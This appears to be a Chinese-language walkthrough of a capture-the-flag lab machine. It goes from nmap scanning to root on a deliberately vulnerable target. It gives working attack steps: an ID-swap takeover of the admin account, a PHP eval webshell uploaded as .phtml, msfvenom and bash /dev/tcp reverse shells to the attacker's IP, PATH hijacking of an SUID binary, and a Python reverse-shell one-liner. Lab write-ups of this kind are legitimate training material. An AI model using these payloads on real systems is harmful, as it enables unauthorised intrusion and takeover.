kali:192.168.223.128
靶机:192.168.223.151
主机发现
nmap -sP 192.168.223.0/24
端口扫描
nmap -sV -p- -A 192.168.223.151
开了22 80端口
看web界面
可以登录,注册一个账号密码登录
可以修改id,emai和password
修改密码 请求包里面有个id,当前是2,那么id=1可能是admin用户,把id=1发现修改成功
用户名admin密码123登录成功
可以文件上传
上传 个马
<?php eval($_POST[1]);?>
上传php文件发现提示只许上传jpg,png,gif
还以为是白名单,还能大小写绕过,但是用大写发现无法解析,想到上传phtml文件
那么传个反弹shell的马就行了
msfvenom生成
msfvenom -p php/reverse_php LHOST=192.168.223.128 LPORT=4567 -o shell.php
再把这个传上去
kali监听,然后拿到shell
但是我用python -c 'import pty; pty.spawn("/bin/bash")'切换不到交互shell,很烦
用蚁剑打开终端
发现john 目录下 有个toto文件 具有SUID权限
执行发现 类似id的指令
在tmp目录下伪造一个id指令,让其执行时候返回shell,根据上面的结果将会拿到john的shell
先弹到kali一个交互shell
echo 'bash -i >& /dev/tcp/192.168.223.128/4567 0>&1' >>shell
chmod 777 shell
bash shell
echo "/bin/bash" >id #伪造id指令
chmod 777 id #添加执行权限
export PATH=/tmp:$PATH #在$PATH前添加/tmp,当执行id指令的时候会优先执行/tmp目录下的id
直接读取john目录的password,里面有个密码
测试发现不是root的,而是darkhole的
sudo -l 可以看到darkhole用户有root的所有权限
sudo -s直接提升到root权限
此外,发现john的密码也是root123,并且sudo -l也有提权手段
发现是空的,那么可以直接写入提权脚本
import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")
echo 'import os;os.system("/bin/bash")'>file.py
同样是拿到了root权限